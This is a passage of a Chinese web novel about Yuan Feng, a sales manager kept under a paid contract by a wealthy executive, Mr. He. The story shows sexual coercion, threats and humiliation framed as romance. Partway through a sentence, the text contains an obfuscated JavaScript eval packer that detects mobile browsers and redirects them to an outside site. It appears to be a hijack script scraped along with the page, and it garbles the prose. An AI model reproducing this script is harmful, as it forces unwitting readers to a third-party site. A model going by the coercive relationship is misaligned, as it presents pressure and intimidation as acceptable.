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左思右想,男人归根结底不就是图一爽吗?当务之急,得先顺毛。 “我没干啥啊!半小时就半小时,我吃快点还不行吗?” 贺颜站起身,叮嘱道:“吃好饭过来。” 元丰怒瞪着贺总高大的背影,恨不得在他屁股上猛踹一脚。他扒了两口饭,细细回忆着最近发生的所有事儿。 短短几天工夫,生活出现了翻天覆地的变化,他被男人折腾了不说,还被包养了。 好像从最开始就落了下风,一直被贺总牵着鼻子走。真邪乎,昨天一定是被邪祟附体了,才会签下那份卖身合同。 他越想越不痛快,自己好歹也是个带把的,凭啥让变态骑在头上拉屎撒尿?如今没办法毁约,必须想点别的法子好好出口恶气,还得是不能惹怒贺总的那种。 时间一分一秒过去,元丰看了眼墙上的挂钟,还剩五分钟。 除了讨好贺总,还能干啥呢?他盯着桌上的菜静静出神,淋上酱汁的黄瓜和木耳特别好吃,口感酸爽微辣。 保姆走之前还跟他说,这道凉拌菜有些辣,要是吃不惯的话,下次做不辣的。 有些辣…… 元丰盯着酱汁里的红辣椒看了一会儿,立刻起身去厨房寻找作案工具了。 贺颜给足了半小时,该来的人却没进来。 他裹上浴巾去了客厅,餐桌前空无一人,厨房里传来动静。他慢慢走过去,见元丰猫着腰,正在翻抽屉。 妈的,在哪儿呢?元丰翻了左侧的储藏抽屉,都是些没拆封的厨房用具和清洁用品,他又去翻另一侧的抽屉,死活没找到用来做酱汁的小米椒,最后终于在抽屉旁边的柜子里找到了干货。 他拿起装着小米椒的瓶子,结果单手打不开,费劲死了,只能蹲在地上,用俩腿夹着玻璃瓶,使劲扭着瓶盖儿。 这是以防万一的退路,要是听不进去,就别怪自己不客气了。 贺颜将元丰的小动作尽收眼底,还真是个不省心的。他站在厨房外静静看着,等元丰重新盖上盖儿的时候,悄无声息地离开了。 元丰吃不了太辣的东西,所以没敢多拿。他把洗干净的两个小米椒揣进裤兜里,踩着“大义灭亲”的步伐,去了卧室。 “贺总,我进来了啊。”元丰一打开门,目光就被床上打赤膊的男人给吸引了。发达结实的胸肌上有没擦干的水珠,还有那线条分明的块状腹肌,真性感啊。 他喉结一动,咽了口唾沫。不得不说,这变态的身材忒他妈帅了。 贺颜放下手机,抬眼看向元丰:“迟了八分钟。” “我骨折了。”元丰解释,“左手吃饭不方便。” 贺颜将元丰从头到脚打量了一遍,能装辣椒的地方也就那俩裤兜了。 他补充道:“裤子脱了再过来。” “啊?”元丰一愣,“为啥脱裤子?” “脱了。” “……”元丰只得随意地将左手插裤兜里,边拿边说,“你自己说给我两天休息的,怎么还说话不算话?” 贺颜无视元丰的小动作,皱眉道:“哪儿那么多废话?尿裤子了?” “……操!你他妈——”元丰把满嘴芬芳给硬生生地压了下去,话锋一转,“的真神了,所以我不能脱啊。万一瞎了你的狗……呃……瞎了你那双心灵的窗户,就不好了。” 元丰能憋着脏字儿还挺不容易,贺颜笑道:“脱外裤就行。” “……”元丰面色有些难看,“我今天忘记穿内裤了。” 贺颜下床走到元丰跟前,“非得逼我?” 得亏那俩小米椒一直攥在手心里,元丰还没来得及说什么,贺颜捏住他左手腕,不顾对方反抗,将他藏在手心里的两个红色小辣椒给抠了出来。 “这是干什么用的?”贺颜盯着元丰,质问。 “……”元丰琢磨了几秒,面不改色地说,“一想到要面对贺总,我这心里头就紧张,手里可不得攥点东西吗?” “所以特地在厨房里找了半天?”贺颜问。 元丰只恨自己没早点想到这法子,居然被当场抓包了。 他继续胡诌:“是啊,我对辣椒有特殊的感情,别的东西还不行,只认这个。” …… 贺颜目的很明确,今晚必须把这小子给收拾服帖了。他盯着一脸惊慌的元丰,反问:“我好好说,你听过吗?” “我听!我听的!”元丰吓得认错求饶,“我这回肯定认真听!你拿走行不行啊?刚才是我错了,我以后再也不骂人了!我发誓!” 元丰没有骗人,害怕也是真的。为了做回真正的男人,他曾经去医院检查过,只不过被手术费用给劝退了。他这个岁数已经错过了最佳治疗时期,激素的分泌也令手术难度增加不少。 正是因为做了全面的检查,他才知道除了男性的生育能力有影响之外,自己是有子/宫的,这副身体不男不女,他迷茫过很久。 好心的医生特地问过他的性取向并叮嘱他,他发育不完善,不要伤害自己。所以被贺总嫌弃时,他反而松了一口气,但没想到,还是低估了对方的变态程度。 贺颜放开元丰,满意地摸了摸他的脑袋:“知道该怎么做了?” “……”元丰最终妥协。 “钱是这么好赚的?”贺颜按着元丰脑袋,“你没有谈条件的资格。” 元丰:“我只是……提个建议而已。” 贺颜:“话怎么这么多?” 头皮被拉扯得很痛,巨大的屈辱感涌上心头,元丰恨不得一刀捅死这个变态,吊在胸前的右手紧紧握成拳,因太过用力而轻微抖动着。 …… 好汉不吃眼前亏。 元丰在心里暗暗发誓,一定要以牙还牙! …… 贺颜摸着元丰光滑的下巴,问他:“有没有什么想要的?” 元丰想说没有,但想到自己遭的这些罪,不狠狠宰一宰这个变态,实在难泄心头之恨。 他故意挑了个贵的:“想要一台笔记本电脑。” “书房里那台还不够你玩的?” 元丰找了个借口:“我只用国产的。” 贺颜没再多说。 …… 元丰呆坐在床上,贺总洗完澡就走了。 他松了口气的同时,又恨上自己畸形的身体。不久前才经历过的那种感觉如同恶鬼缠身,驱使着他大脑发出指令,不听使唤的左手朝着床头柜抽屉,慢慢地伸过去,紧接着跟抓到烫手山芋似的,缩了回来。 操,看来变态是会传染的! 陈硕是贺总的私人助理,专门负责一些擦屁股的烂摊子。工作时间比较自由,说白了就是二十四小时随叫随到,没有烂摊子约等于休息。 他昨天接到通知,顶头上司今天要去邻市考察项目,少说得去一个星期,以为能休假,没想到还是被大清早的电话给吵醒了。 陈硕迅速接通,恭敬道:“贺总,早上好。” “去挑一台国产的笔记本电脑,价格三万以内看着来,挑好了给锦西湾那小子送过去。” “好的。” “他要有喜欢的,让他自己选。” “好的,贺总。” 第一天的假期算是泡汤了。 元丰睡到八点才醒,起床后保姆刘姨已经走了,桌上有刚做好的粥,厨房的蒸锅里还蒸着热乎乎的包子,味道特别香,一闻就知道是肉馅儿的。 他昨晚没好好吃饭,饿得连吃三个大肉包,喝了两碗豆浆才算满足。 吃完早饭,元丰就溜回龙河新村了。回到自己的住处,才有了回家的感觉。 怕刘姨中午白跑一趟,他左思右想决定给陈助理打个电话。幸亏当时存了号码,没想到这么快就派上用场了。 “陈助理啊,我是元丰。” “我知道。”电话那头的声音淡淡的,“元先生,请问你需要什么牌子的笔记本电脑?” “啊……”元丰一愣,这效率有点吓人啊。 “国产品牌的现有华为、华硕、小米、神舟——” “等等!”元丰赶忙打断,“陈助理,我是想问你要保姆刘姨的手机号啊,不是买电脑。或者你帮我给她打个电话,让她中午别过来做饭了。对了,贺总晚上还来吗?要不来的话,晚上也别做了。” “贺总出差了。” “啊?出差了?出几天啊?”元丰心里狂喜,激动得都想买点鞭炮放一放了。 “不好意思,这个我无法确定。”陈硕继续刚才的话题,“你有看中的牌子和型号吗?我在商场里。” “我也不太懂啊。”元丰昨晚在气头上,现在真让他买一台电脑,也不知道该干吗用。 他拒绝道:“不要买了,我现在用不着。” “贺总特地交代的,如果你没办法确定,我会让工作人员推荐。” “……”元丰都不知道要怎么说了,他想了会儿问,“能折现给我吗?” “这个我需要跟贺总确认一下,晚上之前给你答复。” “……” 元丰当天下午收到了陈助理送来的国产笔记本电脑,他按着型号特地在网上查了下,要两万左右。本以为宰贺总能让自己痛快些,可看着全新的笔记本电脑,他反而不痛快了。 这台笔记本的待遇跟那张十五万的支票一样,被收进了衣柜的角落里。 他不知道贺总什么时候回来,也没再去锦西湾,就在家里待着,偶尔去找兄弟许辉叙旧吃饭,一周的假期就这么过去了。 5. 第 5 章 元丰起了个大早,一边哼着小曲儿一边往头发上喷定型喷雾,这是跟网上学来的。 他发质细软,头发容易塌,不喷点这玩意儿,哪怕穿得再成熟体面也白瞎。 镜子里的男人梳着成熟的侧分背头,穿着深色的夏款西裤,再配上白色的商务polo衫,经理范儿十足。 不过短短一周,元丰感觉自己歇了好几个月,人都要歇傻了。他昂首阔步地走出龙河新村,在大路边招手拦了辆出租车。 雄威金属材料有限公司的规模还算大,员工人数近百,办公楼跟厂房离得也不远。 元丰比平时早到了半小时,笑着冲门口的保安抬手打招呼:“早啊,孙师傅!” “哟,元经理来上班了!”保安寒暄起来,“胳膊还没好利索就来上班,整个公司里就属你最敬业啊,也不多歇两天。” “再歇人都傻了。”元丰此刻更担心自己部门的业绩。 自己不在的这几天,就杨伟签了一单,其他业务员的业绩明显下滑。 简单寒暄过后,他加快步伐进了办公楼。 时间逼近八点半,整个办公室就元丰一人。他站起身走到窗户那儿,盯着公司正门口,恰巧看见方远那个傻缺骑着电动车进了公司大门,后面坐着的人怎么瞧着很眼熟? 他眯起眼,发现那人竟是他手底下新来没多久的业务员,杨伟。 等员工们陆续到齐,元丰一脸严肃地盯着众人:“给我过来开会!” 众人:“……” 经理这是吃枪药了吗? 元丰就着业绩下滑的事儿将业务员们数落了十来分钟:“没有我在,你们还行不行了?!尤其赵志鹏,上个月不还做得挺好吗?这个月怎么回事儿?” 赵志鹏为难道:“不好意思,经理。最近家里出了点事儿,确实影响到工作,我想申请休三天假,可以吗?” “……”员工家里有事儿,元丰没法再多说什么,“你一会儿到我办公室来一趟。” “好的,经理。” “还有杨伟……” “是。”杨伟立刻邀功道,“经理,我前天刚签了个单子。” “我在系统里看见了。”元丰夸了句,“做得挺不错,是你一个人跑的吗?” “是我一人跑的,打电话打到的客户,我看对方有意向又给打了好几个电话,然后找了个机会登门拜访,谈了三天才谈下来。” “嗯,不错。” 会议开了半个多小时就结束了,元丰在办公室里跟赵志鹏谈了谈,得知他母亲因身体不好住院,同意批了三天假。 “我给你支付宝转了三百块钱,拿去给你妈买点水果。” “经理,这怎么好意思?” 赵志鹏赶紧掏出手机,却被元丰给制止了:“给你就拿着,在医院好好照顾你妈。休完了回来好好工作,听到没?” “经理……” “行了,你出去干活儿吧。我去趟总经理办公室。” 赵志鹏看着经理瘦弱的背影,感动得不知道说什么好。 元丰抬手刚要敲门,门突然从里面打开了。 “总经理,我先去干活儿了。”方远笑着走出办公室,一转头就看见站在门口的元丰,脸上的笑容瞬间收起,“哟,元经理来上班了?怎么感觉几年没见着你了,还怪想的。” 元丰忍着想骂对方的冲动,笑道:“得亏方经理惦记,舍不得在家歇着了。” “还是得多歇歇,身体是革命的本钱。”方远说完,离开了办公室。 去你妈的本钱,元丰在心里骂道。 黄振兴关切道:“小元啊,胳膊怎么样了?” “经理,好多了!”元丰笑着说,“生活上已经没什么大碍,就是这阵子只能在办公室里待着了。不过经理您放心,业绩方面我一定好好抓稳。” “有你这话,我就放心了。”黄振兴说道,“回头你好好谢谢方远,我事儿多,这几天多亏他帮忙盯着业务部,还帮你签了一个大单。” 元丰听到这话脸色一变,迅速恢复镇定:“好,我知道了。” 出了办公室,他表情绷不住了,面色阴沉地回了办公室,心里琢磨着方远那个傻逼到底想搞什么幺蛾子,连售后部都管理不好的半吊子,能有什么本事签大单? 元丰被这事儿搞得心烦意乱,到了中午,他想起小美送的那身衣服,打算请小美吃个饭,顺便谈清楚。 结果还没走到前台,就看到方远正缠着小美,他立刻冲上去:“方经理,你干什么呢?” “跟你有关系?”方远来回打量着元丰跟小美,“难不成你俩还处对象了?” “元经理,方经理说想请我吃饭。”小美小声说道。 “处了。”元丰及时替小美解围,盯着方远一字一句道,“你要还是个男人,就该知道什么叫分寸。” 方远听出了元丰话里的意思,轻蔑一笑:“原来处上了啊,那行,我在这儿先祝你俩幸福,回头结婚别忘了发请帖。” 等讨厌的人走了,小美才笑着说:“丰哥,谢谢你。” “没事儿。”元丰邀请道,“一块儿去吃个饭吧,我请客。” “好!” 小美打着遮阳伞,偷偷往元丰那儿歪,她小声问道:“丰哥,你刚才说的是真的吗?” “对不起,小美。”元丰认真地说,“方远要是还缠着你,咱俩就在公司假装男女朋友。你是个好姑娘,我不能耽误你。” 小美听完有些失落,但很快振作起来:“丰哥,我知道你忘不了她,我可以给你时间的,你不用急着答应我。” “……”元丰都不知道该怎么说了。 以前遇到的小珍小丽,拒绝就完事儿了。花花和阿玲执着了些,拒绝了两次才消停。小美似乎跟她们都不一样,还花心思给自己买衣服…… “丰哥,你不要因为我这个事儿头疼。”小美继续说,“咱们还像之前一样也行的,你别有压力啊。” 接下来的几天,元丰都没去过锦西湾。 他每天忙着工作,还给自己加了几天班,就为了抓业务员们的业绩。方远没再缠着小美,他偶尔会陪小美一块儿吃午饭,俩人之间不再暧昧,处得跟兄妹似的。 生活似乎回到了从前的两点一线,直到半个月后,一通电话打破了平静。 自打方远帮着业务部签过单子,元丰时刻关注着对方的一举一动,包括跟下属杨伟的来往。 这天,他五点半就下班了,打算去给小美买两身衣服,算是还了之前的情,结果刚走出公司大门,手机突然响了。 乍一看到陌生号码,他以为是哪个客户。 “喂,您好。” “过来。” 元丰都快忘了贺总这号变态,听到熟悉的声音,愣了好一会儿才反应过来是谁。 他赶忙说道:“贺总,不好意思啊,我还没下班呢。” “是吗?几点下班。” “这个不好说啊,今天要做一些报表,加完班怎么也得晚上九点了,报表挺重要的,我明天得交给总经理。”元丰胡诌道。 贺颜坐在车里,透过车窗盯着马路对面那个正在讲电话的年轻人。虽说是意料之中,但他还是被这小子给逗乐了。 他放松地靠着后座,问:“十点能到吗?” “就是不好说我才没法给你准话,可能做到九点,或者做到半夜都没准儿。” 贺颜伸手敲了敲主驾座:“你过去。” “好的,贺总。”陈硕了然,下了车。 “啊?贺总你说什么?”元丰还没明白电话那头什么情况,就见陈硕从马路对面的车上走下来,紧接着后座的车窗慢慢地降下。 “你这嘴,欠教育。”贺颜看着一脸惊慌的元丰,低笑道。 过完马路的陈硕走到元丰跟前,面无表情地说道:“元先生,请上车。” 元丰:“……” 人一旦撒了谎,只能硬着头皮圆下去。元丰接下来的日子就指着加班这个借□□了,能少挨一炮是一炮。 他跟着陈硕过完马路,没立即上车,而是站到后座的车窗那儿,硬挤出笑容跟车里坐着的男人打招呼:“真巧啊贺总,我刚准备出去吃晚饭。你吃了吗?要不我请你吃个饭吧。” “上车。” “上不了啊,贺总。”元丰笑着解释,“我时间紧,吃完还得回去做报表呢。” 贺颜睨了元丰一眼:“吃饭都得拎着,你这包里是有机密文件?” 元丰拎着公文包的左手紧了紧,幸亏他头脑清醒,过马路时就把说辞给想好了。 “没啥机密文件,就是有些订单还得核实下。”他说,“客户催得紧,我这不是肚子饿了吗,就边吃边看呗。” 元丰的可信度已经从20%降为0%,贺颜不想再废话:“上车。” “真的上不了。”元丰为难,“贺总,你看明天行不行?” “你觉得行吗?” 元丰现在是不行也得行,要是就这么跟贺总回去,不就坐实了撒谎的事实吗?回头真的赶上加班,恐怕贺总不会再信他。 他快速权衡后,决定弃车保帅,做出一点牺牲。 “又不听话了?” 元丰看了眼前头坐着的陈硕,迅速猫着腰将脑袋钻进车窗,凑到贺总耳边小声说:“贺总,我这阵子学了那啥,明晚给你那个,你看行不?” 耳边是温热的吐息,元丰的讨好让贺颜很舒心。他故意说:“听不懂。” 妈的,元丰真想给贺总来一拳。他把声音压得更低了:“就……给你那啥呗。” “舌头捋直了,说清楚。” “……” 贺颜碰了碰驾驶座椅,陈硕领命立刻下了车。 元丰还没反应过来什么情况,就见陈硕招手拦了一辆刚路过的出租车打车走了,整个过程还不足一分钟,效率惊人。 “报表允许你做,先上车。” 元丰找不出拒绝的理由,等上了车,他着急地说:“贺总,我时间比较紧,你让我上来,也干不了什么啊。” 贺颜升起车窗:“半个月的工夫,我看看学得怎么样了。” 虽然知道贺总是个变态,但这变态行为再次刷新元丰的认知。外面天色尚未黑,太阳还没彻底下山。贺总居然让他在车里……这要是被人看见,他也不想活了,还不如直接找个歪脖子树吊死得了。 “贺总,这车来车往的……” “不是着急做报表核实订单吗?”贺颜淡淡说道,“你在浪费自己的时间。” 元丰把公文包放在脚边,忍着心里的排斥与不适主动讨好起来,并与他周旋:“贺总,这真的不合适啊……明晚吧,好不好?我给你来个一条龙服务,你看可以不?” “你还知道一条龙。”贺颜放松地向后靠着,“服务流程说来听听。” 元丰想说得先净身穿衣,再安排灵车接送。但贺总起反应了,他快速说道:“就红/灯/区里的那一套啊,先给你来个按摩推拿什么的,推着推着就开始这样那样,贺总你都懂的啊,还让我说。” “你挺了解。”贺颜吩咐道,“继续。” 元丰抬眼偷偷瞄着贺总,见他正靠着闭目养神,跟个大爷似的享受着自己的伺候,心里越发不痛快。 “贺总,我真的来不及了。” 贺颜应了声表示同意:“胳膊还没好,这么拼干什么?” 工作上的事儿元丰还能说两句,正好趁机分散贺总注意力:“不拼不行啊,我要不盯着他们,业绩还怎么上去?他们不好好干,影响我工资。” “为了那点工资加班,十五万一个月还不够你花的?”贺颜睁眼看向元丰,“把我伺候好了,不比你上班强?” 元丰反驳道:“那不一样!说了你也不懂。” 贺颜注意到元丰一瞬间的微表情,没再为难他:“下车,明晚过来。” 元丰如获大赦,打完招呼火速溜了。 贺颜在车里静坐到欲望平复,这小子这么拼命工作,姑且再信他一回。 元丰回到公司,第一时间冲进卫生间,安分了半个月的身体果然又犯毛病了。 就在他烦躁地准备穿上裤子时,隔间外传来了谈话声。 “方哥,你说的是真的吗?”“ 废话,还能有假?” 是杨伟和方远的声音,元丰连裤子都不敢穿了,就怕发出一点动静。 “等等。”方远打断要说话的杨伟,在卫生间里来回走了两圈才问,“他走了?” “走了,我看着他出公司大门的。” 方远哼了声:“你那个傻逼经理,我早晚让他收拾东西滚蛋!” “方哥真厉害!” “二十出头就敢骑在我头上,操。长得细皮嫩肉的,看着就来气!”方远骂完,继续说,“过几天我再给你安排个单子,那老板是我二叔的朋友。” “谢谢方哥!早上开会又挨批了。”杨伟苦恼道,“我都不敢拍他马屁,上回说请他吃饭,还不给我面子。” “傻逼,我迟早弄他!” 元丰紧紧拽着西裤,力道大得仿佛能将裤腰边缘的布料给扯烂。方远这个畜生看来蓄谋已久,伙同杨伟想搞垮他这个业务经理。 回去的路上,他越想越恼火。 工作不顺就算了,贺总还回来了。明晚那一炮肯定躲不掉,真他妈的闹心。 上个班搞得跟谍战剧似的,元丰不光要盯着方远,还要盯着杨伟。他现在除了盯着这两个傻逼之外,还要应付贺总。 下班后,他突然接到了陈硕的电话。 “陈助理,怎么了?” “元先生,你下班了吗?” “刚下,现在准备去锦西湾。”元丰问道,“是不是贺总加班了啊?” “贺总正在开会,我先过去接你。” “哦哦,陈助理,你别停我公司门口,停前面的盛源大食堂那儿吧,就是一家中式快餐店。” “好的,大概半小时左右到。” 真是白高兴一场,元丰在心里祈祷贺总的会议能一直开下去,开到地老天荒。 半小时后,他在约定的地点等到了陈硕。 陈硕从包里取出一张十五万元的支票,递给元丰:“元先生,之前那张十五万元的支票已经作废。这是贺总吩咐的,请尽快取出。” “……”元丰就是觉得金额太大了,所以犹豫着没取,都忘了支票会过期这一茬。 他伸手接过:“我知道了,谢谢啊。” “不用客气,那我们出发吧。” “好。” 元丰看着窗外的街景,发现不是去锦西湾的方向。 他问陈硕:“陈助理,我们这是去哪儿啊?” “先去量尺寸,稍等。” 元丰知道陈硕开车不说话,就没再继续问。他心里纳闷着量什么尺寸,贺总这么变态,不会又要逼他穿什么奇奇怪怪的衣服吧? 到了下一个红绿灯,陈硕等车停稳后,说:“先去量西装的尺寸。夏款两套,秋款冬款各两套,一共六套。” 元丰惊得连忙摆手拒绝:“别量,我不要。我自己有西装,真的不用了。” “贺总特地吩咐的,请元先生配合。” “……” 元丰还想说什么,红灯刚好跳成绿灯。他在通话记录里找到昨天打来的那个陌生号码,发了一条短信过去。过了几分钟,他收到回信。 “合格的业务经理,首先得有体面的着装。” 看着贺总发过来的内容,他不知道该回什么了。 元丰从没来过这么高端的西装店,一进去就给他整懵逼了。 有个自称是服装顾问的男人把他请到一旁的会客沙发上,热情地问他对于穿西装有没有什么习惯和特殊要求。 剩下那些乱七八糟的西服工艺、面料、辅料以及款式之类的话题,都是陈硕在聊,他跟个傻子似的坐在旁边,一句都没听懂。 半个小时后。 元丰化身塑料模特,站着一动不动。量体师是个长相精致的男人,一边耐心地测量身材数据一边做记录,光记下来的数字就有二十多个。看来这有钱人的生活也不怎么样啊,量个尺寸还这么费劲,真够讲究的。 近距离的接触让元丰产生轻微不适,而且这男人身上还喷了香水,闻着像是花香。 为了缓解不适,他没话找话:“这西服得做多久啊?” “一到两个月左右。”量体师说完,又补充道,“不过贺总这儿可以开个后门哈,夏款快一些。其他四套,到时候会通知您。” “哦哦。”元丰觉得这家店很高级,西服少说得一千。他好奇道:“定制一套要多少钱啊?” “每一套价位都不同。”量体师轻轻抬起元丰骨折的右臂,继续说:“夏款是按照两万八的标准为您定制的。” “我操!”元丰叫完才意识到自己的失态,面色有些尴尬,“不好意思,你说的是一身还是两身啊?” “一身的价格哦。” “……” 这,这他妈体面过头了啊!夏天的就这么贵,那秋冬的岂不是…… 元丰根本不敢往下想,他不知道贺总为什么要在他身上浪费这么多钱,包情人也没这么个包法啊,冤大头吗? 十五万的支票对元丰来说就已经挺吓人,这六套西服比烫手山芋还要烫,搞得他有些心不在焉。 “元先生,我去把车开过来,请在这里稍等片刻。” “哦,好的。” 陈硕没走两步,听到身后传来脚步声。 “我跟你一块儿去吧。”元丰追上前头的陈硕,想了好一会儿才问,“陈助理,贺总有没有给以前的情人定制过西服啊?” 陈硕简短地回道:“没有。” 元丰对这个答案不太满意,追问:“真的假的?” 陈硕接触过贺总多任情人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658609|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,擦过太多屁股,深知什么叫祸从口出。在新人面前提旧人,这是大忌。 他说:“我只带你来过这里。” “哦,这样啊。”元丰换了个话题,“你做贺总助理几年了?” 陈硕如实回道:“五年。” 五年的时间里就带自己定制过西装,怎么想都不太可能。元丰最不缺的就是自知之明,如果这是事实的话,贺总葫芦里一定在卖什么药。 他没再继续八卦,而是顺着这个话题套起近乎:“都五年了?看不出来啊,陈助理看着像个大学生。” “……”陈硕抽了抽嘴角,这近乎套得未免过于明显。他平静地说道:“谢谢,我二十八了。” “呃,没看出来。”元丰夸道,“陈助理真是年轻有为啊,办事效率又高。” “谢谢,应该的。” “……” 上车后,陈硕闭口不言。不过元丰也不想跟他说话了,跟机器人聊天实在没意思。难怪在贺总身边待了五年都没被玷污,这么无趣,谁受得了啊。 无趣……元丰瞬间犹如醍醐灌顶。 汽车并不是往锦西湾的方向行驶,元丰没有过问,反正不管去哪里,今晚的一条龙是没跑了。不过他现在还真有点想见到贺总,正好试试成果。 陈硕将车停在一家高档中餐厅门口:“元先生,包间号是36,贺总在里面等你。” “好的,谢谢。” “不客气。” 元丰前脚刚下车,陈硕立刻开着车走了。 在服务员的带领下,元丰到了36号包间。这贺总果然在卖药啊,先是给他定制衣服,又请他来这么高档的餐厅吃饭。他推开木门,装修雅致的包间里,贺总坐在落地窗旁的休闲藤椅上,正在倒茶。 贺颜慢条斯理地放下茶壶,随后才看向门口站着的元丰,“过来坐。” “……”“体面”两个字又浮现在元丰的脑海里,他觉得有钱人就是瞎讲究。 定制什么西服,直接买成衣穿不就得了吗?可看着不远处的男人,对方不变态的时候,举手投足间,都显出一种优雅的风度。 贺总这样的人,跟他就不是一个世界的。再高级的西服穿在自己身上,也衬不出那个味道。 他不想再有心理负担,必须趁早断了才行。眼下只有一个办法,就看成不成了。 “傻愣着干什么?” “哦。”元丰快步走过去,拉开贺总对面的椅子坐了下来,礼貌地打招呼,“贺总,你好。” “挺好的。”贺颜抬眼扫了眼元丰,“喝茶自己倒。” “好的,我不渴。”元丰垂着脑袋,不再开口。 贺颜喝了口茶,随口问道:“晚上该干什么,知道吗?” “知道。” “该干什么?” 元丰平静地回道:“给贺总提供一条龙服务。” “头抬起来,流程复述一遍。”贺颜靠着藤椅,目光停留在元丰身上。 妈的,贺总是不是成心想让他破功?今天说什么都要将陈助理的机器人精神贯彻到底,直到贺总腻了自己为止! 元丰抬起头,发现贺总一直盯着他看,眼里似乎还带着笑意。他酝酿了下情绪,面无表情地说道:“洗澡,按摩,**,**。” 贺颜看元丰一副配合的状态,没再多说,指了指餐桌,“桌上有菜单,去点自己爱吃的。” “好的,贺总。”元丰站起身,走到餐桌那儿拿起菜单,结果刚打开,表情就绷不住了。 这些菜怎么这么贵?他点了两个素菜外加一道清淡的汤,刚想抬头问问贺总吃什么,突然有声音从身后传来。 “点这么素?” 元丰模仿着陈硕的口吻:“不饿,谢谢贺总。” “继续点。”贺颜在元丰身边坐下,伸手掐住他的腰。 “……”元丰想躲却不能躲,他已经想好了,虽然不知道陈硕在床上是什么样儿的,估计也跟机器人差不多。 他今晚就依葫芦画瓢,做一个没有感情的机器人! 元丰加了个糖醋小排,剩下的菜都是贺总点的。他尽量保持沉默,贺总问话才简短地答上几个字儿。一顿晚饭吃下来,氛围还挺和谐的,连带着看贺总都顺眼不少。最让他高兴的是,身体不犯毛病了。 锦西湾地下车库。 元丰沉默地跟着贺总,一想到接下来要发生的事儿,心情还是有些复杂的。 他虽然做好了心理准备,却没法坦然面对。而且今天贺总什么药都没卖,也没动手动脚,真的只是请他吃了一顿晚饭。 唉,算了。 往好了想,其实贺总人还凑合,花那么多钱给自己定制西服,又特地把十五万支票重新送过来,就当做善事,勉为其难地给他来个一条龙服务。 “怎么又发愣?”贺颜把元丰拉进电梯,抬手轻轻敲了敲他的脑袋,“你这脑瓜子里,在动什么歪心思?” “我……”元丰迅速调整状态,面无表情地说,“没有。” “拜师学艺了?”贺颜问。 元丰不知道贺总这话什么意思,继续面无表情:“没有。” “明天去把工作辞了。” 元丰憋了一晚上的状态,因为贺总这一句话,破功了。 他不再面无表情,嗓门也大了起来:“我不辞!你凭啥让我辞职啊?” “学得挺像。”贺颜打趣道,“明天过来给我当助理。” “……”元丰张了张嘴,还没说话,电梯门开了。 他快速跟上离开的贺总:“那不行,不然陈助理怎么办?他跟了你五年啊。” “你学得这么拼,不就是为了挤走他?”贺颜输入密码,打开门。 “我……”元丰顿了两秒,“我欣赏陈助理的工作态度,随便学学。” “再让我发现你学他,”贺颜转身看向元丰,笑着说,“就不是辞职这么简单了。” 明明是带笑的声音,元丰却听出了一丝警告。妈的,果然是个变态! “明天搬过来。”贺颜换上拖鞋,进了屋。 “我住那儿习惯了,等你给我打电话再过来行不?”元丰问完,见贺总盯着他也不说话,那眼神里的意思很明确,免谈。 他闷闷地回了一句知道了。 “知道就好,还不赶紧过来洗澡?” 元丰盯着贺总的背影,越想越不痛快。 亏他那么努力地去模仿陈助理,这怎么一点都没扫了贺总的兴致。莫非贺总跟他的助理已经有过一腿了?因为陈助理工作认真严谨,效率又高,所以才没舍得把人给放走。 “贺总。” “嗯。”贺颜解着衬衣的纽扣,见元丰傻站在卫生间门口,“忘了流程?” 元丰右臂的骨折并不算严重,养了二十来天已经差不多好了。为了躲避一条龙的洗澡环节,他故意吊着受伤的胳膊在贺总面前晃了晃:“我这胳膊还没好利索,没法伺候你洗澡,怎么办啊?” “不是还有左手吗?”贺颜脱下衬衣,露出充满力量感的强健体魄。 元丰目光顺着贺总宽阔的肩背,移到线条完美的胸腹肌上,这强壮又结实的身材,真他妈的性感。 老天为什么不分点肌肉给他,这……这公平吗?! 贺颜透过镜子看到元丰一脸痴迷的神情,他问:“好看吗?” “啊。”元丰迅速回过神,“我在想工作上的事儿,昨天的报表好像漏了一些内容。” “洗澡跟按摩,等你胳膊好了再说。”贺颜拿起架子上的浴巾,“你在这儿洗,我去客卫。” “哦哦,我知道了。” 看来骨折也是有好处的,省去了两个环节,可后两样也跑不了啊,贺总居然这么节约时间。 元丰想起贺总说过的最少两到三回,那怎么行,自己明天还要上班。 他一边冲澡一边琢磨,模仿陈助理不管用,那到底怎么样才能让贺总主动解除合同。他实在想不明白贺总究竟看上他哪儿了,干吗非要包他。 别说看上,不是还嫌弃他身体倒胃口吗?倒胃口的…… 元丰茅塞顿开,想到了法子。他终于知道要怎么让贺总快速解除合同,搞不好今晚的一条龙服务都能直接免了。不过此招伤敌一千自损八百,同时需要克服巨大的心理障碍。但只要能解除这层包养关系,没什么是不能承受的! 妈的,老子怎么会这么聪明? 元丰得意地笑出声,在心里感叹道:元丰啊元丰,要不是当初家里太穷,你现在搞不好正在清华上大学呢。 贺颜裹着浴巾,去了主卧。 …… 贺颜脸都黑了,看向整幺蛾子的元丰:“我看着像妇科大夫?明天自己去医院挂个号。” “……”这走向不对啊! 元丰好不容易走到这一步,哪有放弃的道理?他继续装可怜。 …… 妈的,留得青山在,不怕没柴烧。 6. 第 6 章 元丰摸不清贺总的底线在哪儿,打算探探。 可能因为有过亲密接触,排斥心理没之前那么强烈,应付了十几个来回,他抬起头看向贺总,小心地问道:“贺总,你是不是特嫌弃我那个啊?” 贺颜从元丰的话里听出了几分委屈,这小子从小到大应该没少自卑过,他伸手摸着那单薄的背脊顺了顺,“不嫌弃。” “……”元丰一顿,他以为贺总会说很嫌弃,然后警告他以后不许再这样那样。 这不应该啊! “好了。”贺颜的手往下滑,摸上那还算有些肉感的屁股蛋子。 “我不信。”元丰反驳,“你明明特嫌弃,肯定还觉得恶心。” “合同都签了,你又在想什么?”贺颜觉得自己接受度已经挺高了,虽然头回确实有些倒胃口,但远没达到恶心的程度。 而且上回用辣椒吓唬元丰时,他的反应还挺有意思的。 